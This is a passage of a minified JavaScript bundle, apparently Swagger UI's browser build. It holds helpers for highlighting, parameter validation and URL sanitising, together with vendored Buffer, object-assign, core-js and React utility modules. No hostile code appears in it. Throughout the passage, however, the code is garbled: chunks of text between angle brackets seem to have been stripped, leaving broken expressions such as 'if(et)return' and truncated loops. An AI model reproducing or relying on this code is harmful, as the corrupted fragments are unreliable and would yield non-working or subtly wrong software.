#555;",""][f?f<3?2:f>6?4:f>3?3:+/^(a(bstract|lias|nd|rguments|rray|s(m|sert)?|uto)|b(ase|egin|ool(ean)?|reak|yte)|c(ase|atch|har|hecked|lass|lone|ompl|onst|ontinue)|de(bugger|cimal|clare|f(ault|er)?|init|l(egate|ete)?)|do|double|e(cho|ls?if|lse(if)?|nd|nsure|num|vent|x(cept|ec|p(licit|ort)|te(nds|nsion|rn)))|f(allthrough|alse|inal(ly)?|ixed|loat|or(each)?|riend|rom|unc(tion)?)|global|goto|guard|i(f|mp(lements|licit|ort)|n(it|clude(_once)?|line|out|stanceof|t(erface|ernal)?)?|s)|l(ambda|et|ock|ong)|m(icrolight|odule|utable)|NaN|n(amespace|ative|ext|ew|il|ot|ull)|o(bject|perator|r|ut|verride)|p(ackage|arams|rivate|rotected|rotocol|ublic)|r(aise|e(adonly|do|f|gister|peat|quire(_once)?|scue|strict|try|turn))|s(byte|ealed|elf|hort|igned|izeof|tatic|tring|truct|ubscript|uper|ynchronized|witch)|t(emplate|hen|his|hrows?|ransient|rue|ry|ype(alias|def|id|name|of))|u(n(checked|def(ined)?|ion|less|signed|til)|se|sing)|v(ar|irtual|oid|olatile)|w(char_t|hen|here|hile|ith)|xor|yield)$/.test(p):0]),a.appendChild(t.createTextNode(p))),i=f&&f<7?f:i,p="",f=11;![1,/[\/{}[(\-+*=<>:;|\\.,?!&@~]/.test(c),/[\])]/.test(c),/[$\w]/.test(c),"/"==c&&i<2&&"<"!=n,'"'==c,"'"==c,c+l+s[u+1]+s[u+2]=="\x3c!--",c+l=="/*",c+l=="//","#"==c][--f];);p+=c}}(e)}function b(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"key",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:q.default.Map();if(!q.default.Map.isMap(e)||!e.size)return q.default.List();if(Array.isArray(t)||(t=[t]),t.length<1)return e.merge(n);var r=q.default.List(),i=t[0],o=!0,a=!1,s=void 0;try{for(var u,l=(0,P.default)(e.entries());!(o=(u=l.next()).done);o=!0){var c=u.value,p=(0,M.default)(c,2),f=p[0],h=p[1],d=b(h,t.slice(1),n.set(i,f));r=q.default.List.isList(d)?r.concat(d):r.push(d)}}catch(e){a=!0,s=e}finally{try{!o&&l.return&&l.return()}finally{if(a)throw s}}return r}function x(e){var t=/filename="([^;]*);?"/i.exec(e);return null===t&&(t=/filename=([^;]*);?/i.exec(e)),null!==t&&t.length>1?t[1]:null}function w(e){return(0,H.default)((0,W.default)(e))}function k(e){return w(e.replace(/\.[^.\/]*$/,""))}function E(e){return"string"!=typeof e||""===e?"":(0,z.sanitizeUrl)(e)}function S(e){if(!q.default.OrderedMap.isOrderedMap(e))return null;if(!e.size)return null;var t=e.find(function(e,t){return t.startsWith("2")&&(0,N.default)(e.get("content")||{}).length>0}),n=e.get("default")||q.default.OrderedMap(),r=(n.get("content")||q.default.OrderedMap()).keySeq().toJS(),i=r.length?n:null;return t||i}function C(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:function(){return!0};if("object"!==(void 0===e?"undefined":(0,B.default)(e))||Array.isArray(e)||!t)return e;var r=(0,R.default)({},e);return(0,N.default)(r).forEach(function(e){if(e===t&&n(r[e],e))return void delete r[e];r[e]=C(r[e],t,n)}),r}Object.defineProperty(t,"__esModule",{value:!0}),t.getCommonExtensions=t.getExtensions=t.escapeDeepLinkPath=t.createDeepLinkPath=t.shallowEqualKeys=t.buildFormData=t.sorters=t.btoa=t.serializeSearch=t.parseSearch=t.getSampleSchema=t.validateParam=t.validatePattern=t.validateMinLength=t.validateMaxLength=t.validateGuid=t.validateDateTime=t.validateString=t.validateBoolean=t.validateFile=t.validateInteger=t.validateNumber=t.validateMinimum=t.validateMaximum=t.propChecker=t.memoize=t.isImmutable=void 0;var A=n(37),D=r(A),O=n(18),M=r(O),T=n(96),P=r(T),I=n(23),R=r(I),j=n(42),N=r(j),F=n(43),B=r(F);t.isJSONObject=i,t.objectify=o,t.arrayify=a,t.fromJSOrdered=s,t.bindToState=u,t.normalizeArray=l,t.isFn=c,t.isObject=p,t.isFunc=f,t.isArray=h,t.objMap=d,t.objReduce=m,t.systemThunkMiddleware=v,t.defaultStatusCode=g,t.getList=y,t.highlight=_,t.mapToList=b,t.extractFileNameFromContentDispositionHeader=x,t.pascalCase=w,t.pascalCaseFilename=k,t.sanitizeUrl=E,t.getAcceptControllingResponse=S,t.deeplyStripKey=C;var L=n(7),q=r(L),z=n(524),U=n(957),W=r(U),V=n(443),H=r(V),J=n(439),G=r(J),Y=n(229),K=r(Y),X=n(975),$=r(X),Z=n(118),Q=r(Z),ee=n(175),te=n(36),ne=r(te),re=n(714),ie=r(re),oe="default",ae=t.isImmutable=function(e){return q.default.Iterable.isIterable(e)},se=(t.memoize=G.default,t.propChecker=function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:[];return(0,N.default)(e).length!==(0,N.default)(t).length||((0,$.default)(e,function(e,n){if(r.includes(n))return!1;var i=t[n];return q.default.Iterable.isIterable(e)?!q.default.is(e,i):("object"!==(void 0===e?"undefined":(0,B.default)(e))||"object"!==(void 0===i?"undefined":(0,B.default)(i)))&&e!==i})||n.some(function(n){return!(0,Q.default)(e[n],t[n])}))},t.validateMaximum=function(e,t){if(e>t)return"Value must be less than Maximum"}),ue=t.validateMinimum=function(e,t){if(et)return"Value must be less than MaxLength"},ge=t.validateMinLength=function(e,t){if(e.length2&&void 0!==arguments[2]&&arguments[2],r=[],i=t&&"body"===e.get("in")?e.get("value_xml"):e.get("value"),o=e.get("required"),a=n?e.get("schema"):e;if(!a)return r;var s=a.get("maximum"),u=a.get("minimum"),l=a.get("type"),c=a.get("format"),p=a.get("maxLength"),f=a.get("minLength"),h=a.get("pattern");if(l&&(o||i)){var d="string"===l&&i,m="array"===l&&Array.isArray(i)&&i.length,v="array"===l&&q.default.List.isList(i)&&i.count(),g="file"===l&&i instanceof ne.default.File,y="boolean"===l&&(i||!1===i),_="number"===l&&(i||0===i),b="integer"===l&&(i||0===i);if(o&&!(d||m||v||g||y||_||b))return r.push("Required field is not provided"),r;if(h){var x=ye(i,h);x&&r.push(x)}if(p||0===p){var w=ve(i,p);w&&r.push(w)}if(f){var k=ge(i,f);k&&r.push(k)}if(s||0===s){var E=se(i,s);E&&r.push(E)}if(u||0===u){var S=ue(i,u);S&&r.push(S)}if("string"===l){var C=void 0;if(!(C="date-time"===c?de(i):"uuid"===c?me(i):he(i)))return r;r.push(C)}else if("boolean"===l){var A=fe(i);if(!A)return r;r.push(A)}else if("number"===l){var D=le(i);if(!D)return r;r.push(D)}else if("integer"===l){var O=ce(i);if(!O)return r;r.push(O)}else if("array"===l){var M=void 0;if(!v||!i.count())return r;M=a.getIn(["items","type"]),i.forEach(function(e,t){var n=void 0;"number"===M?n=le(e):"integer"===M?n=ce(e):"string"===M&&(n=he(e)),n&&r.push({index:t,error:n})})}else if("file"===l){var T=pe(i);if(!T)return r;r.push(T)}}return r},t.getSampleSchema=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(/xml/.test(t)){if(!e.xml||!e.xml.name){if(e.xml=e.xml||{},!e.$$ref)return e.type||e.items||e.properties||e.additionalProperties?'\n\x3c!-- XML example cannot be generated --\x3e':null;var r=e.$$ref.match(/\S*\/(\S+)$/);e.xml.name=r[1]}return(0,ee.memoizedCreateXMLExample)(e,n)}return(0,D.default)((0,ee.memoizedSampleFromSchema)(e,n),null,2)},t.parseSearch=function(){var e={},t=ne.default.location.search;if(!t)return{};if(""!=t){var n=t.substr(1).split("&");for(var r in n)n.hasOwnProperty(r)&&(r=n[r].split("="),e[decodeURIComponent(r[0])]=r[1]&&decodeURIComponent(r[1])||"")}return e},t.serializeSearch=function(e){return(0,N.default)(e).map(function(t){return encodeURIComponent(t)+"="+encodeURIComponent(e[t])}).join("&")},t.btoa=function(t){var n=void 0;return n=t instanceof e?t:new e(t.toString(),"utf-8"),n.toString("base64")},t.sorters={operationsSorter:{alpha:function(e,t){return e.get("path").localeCompare(t.get("path"))},method:function(e,t){return e.get("method").localeCompare(t.get("method"))}},tagsSorter:{alpha:function(e,t){return e.localeCompare(t)}}},t.buildFormData=function(e){var t=[];for(var n in e){var r=e[n];void 0!==r&&""!==r&&t.push([n,"=",encodeURIComponent(r).replace(/%20/g,"+")].join(""))}return t.join("&")},t.shallowEqualKeys=function(e,t,n){return!!(0,K.default)(n,function(n){return(0,Q.default)(e[n],t[n])})},t.createDeepLinkPath=function(e){return"string"==typeof e||e instanceof String?e.trim().replace(/\s/g,"_"):""});t.escapeDeepLinkPath=function(e){return(0,ie.default)(_e(e))},t.getExtensions=function(e){return e.filter(function(e,t){return/^x-/.test(t)})},t.getCommonExtensions=function(e){return e.filter(function(e,t){return/^pattern|maxLength|minLength|maximum|minimum/.test(t)})}}).call(t,n(44).Buffer)},function(e,t,n){"use strict";var r=n(33),i=r;e.exports=i},function(e,t,n){"use strict";function r(e){for(var t=arguments.length-1,n="Minified React error #"+e+"; visit http://facebook.github.io/react/docs/error-decoder.html?invariant="+e,r=0;r6?s-6:0),l=6;l5?l-5:0),p=5;p5?a-5:0),u=5;u key("+c[p]+")"].concat(s));if(h instanceof Error)return h}}return i(t)}function u(e){return a(e,"List",b.List.isList)}function l(e,t,n,r){function o(){for(var i=arguments.length,o=Array(i),u=0;u5?s-5:0),l=5;l5?l-5:0),p=5;p>",w={listOf:u,mapOf:c,orderedMapOf:p,setOf:f,orderedSetOf:h,stackOf:d,iterableOf:m,recordOf:v,shape:y,contains:y,mapContains:_,list:o("List",b.List.isList),map:o("Map",b.Map.isMap),orderedMap:o("OrderedMap",b.OrderedMap.isOrderedMap),set:o("Set",b.Set.isSet),orderedSet:o("OrderedSet",b.OrderedSet.isOrderedSet),stack:o("Stack",b.Stack.isStack),seq:o("Seq",b.Seq.isSeq),record:o("Record",function(e){return e instanceof b.Record}),iterable:o("Iterable",b.Iterable.isIterable)};e.exports=w},function(e,t,n){"use strict";function r(e){if(null===e||void 0===e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}/* -object-assign -(c) Sindre Sorhus -@license MIT -*/ -var i=Object.getOwnPropertySymbols,o=Object.prototype.hasOwnProperty,a=Object.prototype.propertyIsEnumerable;e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map(function(e){return t[e]}).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach(function(e){r[e]=e}),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,t){for(var n,s,u=r(e),l=1;l=55296&&e<=57343)&&(!(e>=64976&&e<=65007)&&(65535!=(65535&e)&&65534!=(65535&e)&&(!(e>=0&&e<=8)&&(11!==e&&(!(e>=14&&e<=31)&&(!(e>=127&&e<=159)&&!(e>1114111)))))))}function l(e){if(e>65535){e-=65536;var t=55296+(e>>10),n=56320+(1023&e);return String.fromCharCode(t,n)}return String.fromCharCode(e)}function c(e,t){var n=0;return o(y,t)?y[t]:35===t.charCodeAt(0)&&g.test(t)&&(n="x"===t[1].toLowerCase()?parseInt(t.slice(2),16):parseInt(t.slice(1),10),u(n))?l(n):e}function p(e){return e.indexOf("&")<0?e:e.replace(v,c)}function f(e){return x[e]}function h(e){return _.test(e)?e.replace(b,f):e}var d=Object.prototype.hasOwnProperty,m=/\\([\\!"#$%&'()*+,.\/:;<=>?@[\]^_`{|}~-])/g,v=/&([a-z#][a-z0-9]{1,31});/gi,g=/^#((?:x[a-f0-9]{1,8}|[0-9]{1,8}))/i,y=n(504),_=/[&<>"]/,b=/[&<>"]/g,x={"&":"&","<":"<",">":">",'"':"""};t.assign=a,t.isString=i,t.has=o,t.unescapeMd=s,t.isValidEntityCode=u,t.fromCodePoint=l,t.replaceEntities=p,t.escapeHtml=h},function(e,t,n){"use strict";t.__esModule=!0;var r=n(340),i=function(e){return e&&e.__esModule?e:{default:e}}(r);t.default=function(e,t,n){return t in e?(0,i.default)(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}},function(e,t){e.exports=function(e){return"object"==typeof e?null!==e:"function"==typeof e}},function(e,t,n){var r=n(32),i=n(63),o=n(64),a=n(78),s=n(135),u=function(e,t,n){var l,c,p,f,h=e&u.F,d=e&u.G,m=e&u.S,v=e&u.P,g=e&u.B,y=d?r:m?r[t]||(r[t]={}):(r[t]||{}).prototype,_=d?i:i[t]||(i[t]={}),b=_.prototype||(_.prototype={});d&&(n=t);for(l in n)c=!h&&y&&void 0!==y[l],p=(c?y:n)[l],f=g&&c?s(p,r):v&&"function"==typeof p?s(Function.call,p):p,y&&a(y,l,p,e&u.U),_[l]!=p&&o(_,l,f),v&&b[l]!=p&&(b[l]=p)};r.core=i,u.F=1,u.G=2,u.S=4,u.P=8,u.B=16,u.W=32,u.U=64,u.R=128,e.exports=u},function(e,t,n){var r=n(30),i=n(107),o=n(58),a=/"/g,s=function(e,t,n,r){var i=String(o(e)),s="<"+t;return""!==n&&(s+=" "+n+'="'+String(r).replace(a,""")+'"'),s+">"+i+""};e.exports=function(e,t){var n={};n[e]=t(s),r(r.P+r.F*i(function(){var t=""[e]('"');return t!==t.toLowerCase()||t.split('"').length>3}),"String",n)}},function(e,t){var n=e.exports="undefined"!=typeof window&&window.Math==Math?window:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")();"number"==typeof __g&&(__g=n)},function(e,t,n){"use strict";function r(e){return function(){return e}}var i=function(){};i.thatReturns=r,i.thatReturnsFalse=r(!1),i.thatReturnsTrue=r(!0),i.thatReturnsNull=r(null),i.thatReturnsThis=function(){return this},i.thatReturnsArgument=function(e){return e},e.exports=i},function(e,t){function n(){throw new Error("setTimeout has not been defined")}function r(){throw new Error("clearTimeout has not been defined")}function i(e){if(c===setTimeout)return setTimeout(e,0);if((c===n||!c)&&setTimeout)return c=setTimeout,setTimeout(e,0);try{return c(e,0)}catch(t){try{return c.call(null,e,0)}catch(t){return c.call(this,e,0)}}}function o(e){if(p===clearTimeout)return clearTimeout(e);if((p===r||!p)&&clearTimeout)return p=clearTimeout,clearTimeout(e);try{return p(e)}catch(t){try{return p.call(null,e)}catch(t){return p.call(this,e)}}}function a(){m&&h&&(m=!1,h.length?d=h.concat(d):v=-1,d.length&&s())}function s(){if(!m){var e=i(a);m=!0;for(var t=d.length;t;){for(h=d,d=[];++v1)for(var n=1;n=r())throw new RangeError("Attempt to allocate Buffer larger than maximum size: 0x"+r().toString(16)+" bytes");return 0|e}function m(e){return+e!=e&&(e=0),o.alloc(+e)}function v(e,t){if(o.isBuffer(e))return e.length;if("undefined"!=typeof ArrayBuffer&&"function"==typeof ArrayBuffer.isView&&(ArrayBuffer.isView(e)||e instanceof ArrayBuffer))return e.byteLength;"string"!=typeof e&&(e=""+e);var n=e.length;if(0===n)return 0;for(var r=!1;;)switch(t){case"ascii":case"latin1":case"binary":return n;case"utf8":case"utf-8":case void 0:return V(e).length;case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return 2*n;case"hex":return n>>>1;case"base64":return G(e).length;default:if(r)return V(e).length;t=(""+t).toLowerCase(),r=!0}}function g(e,t,n){var r=!1;if((void 0===t||t<0)&&(t=0),t>this.length)return"";if((void 0===n||n>this.length)&&(n=this.length),n<=0)return"";if(n>>>=0,t>>>=0,n<=t)return"";for(e||(e="utf8");;)switch(e){case"hex":return P(this,t,n);case"utf8":case"utf-8":return D(this,t,n);case"ascii":return M(this,t,n);case"latin1":case"binary":return T(this,t,n);case"base64":return A(this,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return I(this,t,n);default:if(r)throw new TypeError("Unknown encoding: "+e);e=(e+"").toLowerCase(),r=!0}}function y(e,t,n){var r=e[t];e[t]=e[n],e[n]=r}function _(e,t,n,r,i){if(0===e.length)return-1;if("string"==typeof n?(r=n,n=0):n>2147483647?n=2147483647:n<-2147483648&&(n=-2147483648),n=+n,isNaN(n)&&(n=i?0:e.length-1),n<0&&(n=e.length+n),n>=e.length){if(i)return-1;n=e.length-1}else if(n<0){if(!i)return-1;n=0}if("string"==typeof t&&(t=o.from(t,r)),o.isBuffer(t))return 0===t.length?-1:b(e,t,n,r,i);if("number"==typeof t)return t&=255,o.TYPED_ARRAY_SUPPORT&&"function"==typeof Uint8Array.prototype.indexOf?i?Uint8Array.prototype.indexOf.call(e,t,n):Uint8Array.prototype.lastIndexOf.call(e,t,n):b(e,[t],n,r,i);throw new TypeError("val must be string, number or Buffer")}function b(e,t,n,r,i){function o(e,t){return 1===a?e[t]:e.readUInt16BE(t*a)}var a=1,s=e.length,u=t.length;if(void 0!==r&&("ucs2"===(r=String(r).toLowerCase())||"ucs-2"===r||"utf16le"===r||"utf-16le"===r)){if(e.length<2||t.length<2)return-1;a=2,s/=2,u/=2,n/=2}var l;if(i){var c=-1;for(l=n;ls&&(n=s-u),l=n;l>=0;l--){for(var p=!0,f=0;fi&&(r=i):r=i;var o=t.length;if(o%2!=0)throw new TypeError("Invalid hex string");r>o/2&&(r=o/2);for(var a=0;a239?4:o>223?3:o>191?2:1;if(i+s<=n){var u,l,c,p;switch(s){case 1:o<128&&(a=o);break;case 2:u=e[i+1],128==(192&u)&&(p=(31&o)<<6|63&u)>127&&(a=p);break;case 3:u=e[i+1],l=e[i+2],128==(192&u)&&128==(192&l)&&(p=(15&o)<<12|(63&u)<<6|63&l)>2047&&(p<55296||p>57343)&&(a=p);break;case 4:u=e[i+1],l=e[i+2],c=e[i+3],128==(192&u)&&128==(192&l)&&128==(192&c)&&(p=(15&o)<<18|(63&u)<<12|(63&l)<<6|63&c)>65535&&p<1114112&&(a=p)}}null===a?(a=65533,s=1):a>65535&&(a-=65536,r.push(a>>>10&1023|55296),a=56320|1023&a),r.push(a),i+=s}return O(r)}function O(e){var t=e.length;if(t<=Q)return String.fromCharCode.apply(String,e);for(var n="",r=0;rr)&&(n=r);for(var i="",o=t;on)throw new RangeError("Trying to access beyond buffer length")}function j(e,t,n,r,i,a){if(!o.isBuffer(e))throw new TypeError('"buffer" argument must be a Buffer instance');if(t>i||te.length)throw new RangeError("Index out of range")}function N(e,t,n,r){t<0&&(t=65535+t+1);for(var i=0,o=Math.min(e.length-n,2);i>>8*(r?i:1-i)}function F(e,t,n,r){t<0&&(t=4294967295+t+1);for(var i=0,o=Math.min(e.length-n,4);i>>8*(r?i:3-i)&255}function B(e,t,n,r,i,o){if(n+r>e.length)throw new RangeError("Index out of range");if(n<0)throw new RangeError("Index out of range")}function L(e,t,n,r,i){return i||B(e,t,n,4,3.4028234663852886e38,-3.4028234663852886e38),$.write(e,t,n,r,23,4),n+4}function q(e,t,n,r,i){return i||B(e,t,n,8,1.7976931348623157e308,-1.7976931348623157e308),$.write(e,t,n,r,52,8),n+8}function z(e){if(e=U(e).replace(ee,""),e.length<2)return"";for(;e.length%4!=0;)e+="=";return e}function U(e){return e.trim?e.trim():e.replace(/^\s+|\s+$/g,"")}function W(e){return e<16?"0"+e.toString(16):e.toString(16)}function V(e,t){t=t||1/0;for(var n,r=e.length,i=null,o=[],a=0;a55295&&n<57344){if(!i){if(n>56319){(t-=3)>-1&&o.push(239,191,189);continue}if(a+1===r){(t-=3)>-1&&o.push(239,191,189);continue}i=n;continue}if(n<56320){(t-=3)>-1&&o.push(239,191,189),i=n;continue}n=65536+(i-55296<<10|n-56320)}else i&&(t-=3)>-1&&o.push(239,191,189);if(i=null,n<128){if((t-=1)<0)break;o.push(n)}else if(n<2048){if((t-=2)<0)break;o.push(n>>6|192,63&n|128)}else if(n<65536){if((t-=3)<0)break;o.push(n>>12|224,n>>6&63|128,63&n|128)}else{if(!(n<1114112))throw new Error("Invalid code point");if((t-=4)<0)break;o.push(n>>18|240,n>>12&63|128,n>>6&63|128,63&n|128)}}return o}function H(e){for(var t=[],n=0;n>8,i=n%256,o.push(i),o.push(r);return o}function G(e){return X.toByteArray(z(e))}function Y(e,t,n,r){for(var i=0;i=t.length||i>=e.length);++i)t[i+n]=e[i];return i}function K(e){return e!==e}/*! - * The buffer module from node.js, for the browser. - * - * @author Feross Aboukhadijeh - * @license MIT - */ -var X=n(588),$=n(783),Z=n(399);t.Buffer=o,t.SlowBuffer=m,t.INSPECT_MAX_BYTES=50,o.TYPED_ARRAY_SUPPORT=void 0!==e.TYPED_ARRAY_SUPPORT?e.TYPED_ARRAY_SUPPORT:function(){try{var e=new Uint8Array(1);return e.__proto__={__proto__:Uint8Array.prototype,foo:function(){return 42}},42===e.foo()&&"function"==typeof e.subarray&&0===e.subarray(1,1).byteLength}catch(e){return!1}}(),t.kMaxLength=r(),o.poolSize=8192,o._augment=function(e){return e.__proto__=o.prototype,e},o.from=function(e,t,n){return a(null,e,t,n)},o.TYPED_ARRAY_SUPPORT&&(o.prototype.__proto__=Uint8Array.prototype,o.__proto__=Uint8Array,"undefined"!=typeof Symbol&&Symbol.species&&o[Symbol.species]===o&&Object.defineProperty(o,Symbol.species,{value:null,configurable:!0})),o.alloc=function(e,t,n){return u(null,e,t,n)},o.allocUnsafe=function(e){return l(null,e)},o.allocUnsafeSlow=function(e){return l(null,e)},o.isBuffer=function(e){return!(null==e||!e._isBuffer)},o.compare=function(e,t){if(!o.isBuffer(e)||!o.isBuffer(t))throw new TypeError("Arguments must be Buffers");if(e===t)return 0;for(var n=e.length,r=t.length,i=0,a=Math.min(n,r);i0&&(e=this.toString("hex",0,n).match(/.{2}/g).join(" "),this.length>n&&(e+=" ... ")),""},o.prototype.compare=function(e,t,n,r,i){if(!o.isBuffer(e))throw new TypeError("Argument must be a Buffer");if(void 0===t&&(t=0),void 0===n&&(n=e?e.length:0),void 0===r&&(r=0),void 0===i&&(i=this.length),t<0||n>e.length||r<0||i>this.length)throw new RangeError("out of range index");if(r>=i&&t>=n)return 0;if(r>=i)return-1;if(t>=n)return 1;if(t>>>=0,n>>>=0,r>>>=0,i>>>=0,this===e)return 0;for(var a=i-r,s=n-t,u=Math.min(a,s),l=this.slice(r,i),c=e.slice(t,n),p=0;pi)&&(n=i),e.length>0&&(n<0||t<0)||t>this.length)throw new RangeError("Attempt to write outside buffer bounds");r||(r="utf8");for(var o=!1;;)switch(r){case"hex":return x(this,e,t,n);case"utf8":case"utf-8":return w(this,e,t,n);case"ascii":return k(this,e,t,n);case"latin1":case"binary":return E(this,e,t,n);case"base64":return S(this,e,t,n);case"ucs2":case"ucs-2":case"utf16le":case"utf-16le":return C(this,e,t,n);default:if(o)throw new TypeError("Unknown encoding: "+r);r=(""+r).toLowerCase(),o=!0}},o.prototype.toJSON=function(){return{type:"Buffer",data:Array.prototype.slice.call(this._arr||this,0)}};var Q=4096;o.prototype.slice=function(e,t){var n=this.length;e=~~e,t=void 0===t?n:~~t,e<0?(e+=n)<0&&(e=0):e>n&&(e=n),t<0?(t+=n)<0&&(t=0):t>n&&(t=n),t0&&(i*=256);)r+=this[e+--t]*i;return r},o.prototype.readUInt8=function(e,t){return t||R(e,1,this.length),this[e]},o.prototype.readUInt16LE=function(e,t){return t||R(e,2,this.length),this[e]|this[e+1]<<8},o.prototype.readUInt16BE=function(e,t){return t||R(e,2,this.length),this[e]<<8|this[e+1]},o.prototype.readUInt32LE=function(e,t){return t||R(e,4,this.length),(this[e]|this[e+1]<<8|this[e+2]<<16)+16777216*this[e+3]},o.prototype.readUInt32BE=function(e,t){return t||R(e,4,this.length),16777216*this[e]+(this[e+1]<<16|this[e+2]<<8|this[e+3])},o.prototype.readIntLE=function(e,t,n){e|=0,t|=0,n||R(e,t,this.length);for(var r=this[e],i=1,o=0;++o=i&&(r-=Math.pow(2,8*t)),r},o.prototype.readIntBE=function(e,t,n){e|=0,t|=0,n||R(e,t,this.length);for(var r=t,i=1,o=this[e+--r];r>0&&(i*=256);)o+=this[e+--r]*i;return i*=128,o>=i&&(o-=Math.pow(2,8*t)),o},o.prototype.readInt8=function(e,t){return t||R(e,1,this.length),128&this[e]?-1*(255-this[e]+1):this[e]},o.prototype.readInt16LE=function(e,t){t||R(e,2,this.length);var n=this[e]|this[e+1]<<8;return 32768&n?4294901760|n:n},o.prototype.readInt16BE=function(e,t){t||R(e,2,this.length);var n=this[e+1]|this[e]<<8;return 32768&n?4294901760|n:n},o.prototype.readInt32LE=function(e,t){return t||R(e,4,this.length),this[e]|this[e+1]<<8|this[e+2]<<16|this[e+3]<<24},o.prototype.readInt32BE=function(e,t){return t||R(e,4,this.length),this[e]<<24|this[e+1]<<16|this[e+2]<<8|this[e+3]},o.prototype.readFloatLE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!0,23,4)},o.prototype.readFloatBE=function(e,t){return t||R(e,4,this.length),$.read(this,e,!1,23,4)},o.prototype.readDoubleLE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!0,52,8)},o.prototype.readDoubleBE=function(e,t){return t||R(e,8,this.length),$.read(this,e,!1,52,8)},o.prototype.writeUIntLE=function(e,t,n,r){if(e=+e,t|=0,n|=0,!r){j(this,e,t,n,Math.pow(2,8*n)-1,0)}var i=1,o=0;for(this[t]=255&e;++o=0&&(o*=256);)this[t+i]=e/o&255;return t+n},o.prototype.writeUInt8=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,1,255,0),o.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),this[t]=255&e,t+1},o.prototype.writeUInt16LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,65535,0),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):N(this,e,t,!0),t+2},o.prototype.writeUInt16BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,65535,0),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):N(this,e,t,!1),t+2},o.prototype.writeUInt32LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,4294967295,0),o.TYPED_ARRAY_SUPPORT?(this[t+3]=e>>>24,this[t+2]=e>>>16,this[t+1]=e>>>8,this[t]=255&e):F(this,e,t,!0),t+4},o.prototype.writeUInt32BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,4294967295,0),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},o.prototype.writeIntLE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);j(this,e,t,n,i-1,-i)}var o=0,a=1,s=0;for(this[t]=255&e;++o>0)-s&255;return t+n},o.prototype.writeIntBE=function(e,t,n,r){if(e=+e,t|=0,!r){var i=Math.pow(2,8*n-1);j(this,e,t,n,i-1,-i)}var o=n-1,a=1,s=0;for(this[t+o]=255&e;--o>=0&&(a*=256);)e<0&&0===s&&0!==this[t+o+1]&&(s=1),this[t+o]=(e/a>>0)-s&255;return t+n},o.prototype.writeInt8=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,1,127,-128),o.TYPED_ARRAY_SUPPORT||(e=Math.floor(e)),e<0&&(e=255+e+1),this[t]=255&e,t+1},o.prototype.writeInt16LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,32767,-32768),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8):N(this,e,t,!0),t+2},o.prototype.writeInt16BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,2,32767,-32768),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>8,this[t+1]=255&e):N(this,e,t,!1),t+2},o.prototype.writeInt32LE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,2147483647,-2147483648),o.TYPED_ARRAY_SUPPORT?(this[t]=255&e,this[t+1]=e>>>8,this[t+2]=e>>>16,this[t+3]=e>>>24):F(this,e,t,!0),t+4},o.prototype.writeInt32BE=function(e,t,n){return e=+e,t|=0,n||j(this,e,t,4,2147483647,-2147483648),e<0&&(e=4294967295+e+1),o.TYPED_ARRAY_SUPPORT?(this[t]=e>>>24,this[t+1]=e>>>16,this[t+2]=e>>>8,this[t+3]=255&e):F(this,e,t,!1),t+4},o.prototype.writeFloatLE=function(e,t,n){return L(this,e,t,!0,n)},o.prototype.writeFloatBE=function(e,t,n){return L(this,e,t,!1,n)},o.prototype.writeDoubleLE=function(e,t,n){return q(this,e,t,!0,n)},o.prototype.writeDoubleBE=function(e,t,n){return q(this,e,t,!1,n)},o.prototype.copy=function(e,t,n,r){if(n||(n=0),r||0===r||(r=this.length),t>=e.length&&(t=e.length),t||(t=0),r>0&&r=this.length)throw new RangeError("sourceStart out of bounds");if(r<0)throw new RangeError("sourceEnd out of bounds");r>this.length&&(r=this.length),e.length-t=0;--i)e[i+t]=this[i+n];else if(a<1e3||!o.TYPED_ARRAY_SUPPORT)for(i=0;i>>=0,n=void 0===n?this.length:n>>>0,e||(e=0);var a;if("number"==typeof e)for(a=t;a0&&(a=this.buffer[u-1],e.call(r,a)<0);)if(u--,this.pointer-u>n/2-1){o=" ... ",u+=5;break}for(l="",i=this.pointer;in/2-1){l=" ... ",i-=5;break}return""+new Array(t).join(" ")+o+this.buffer.slice(u,i)+l+"\n"+new Array(t+this.pointer-u+o.length).join(" ")+"^"},t.prototype.toString=function(){var e,t;return e=this.get_snippet(),t=" on line "+(this.line+1)+", column "+(this.column+1),e?t:t+":\n"+e},t}(),this.YAMLError=function(e){function 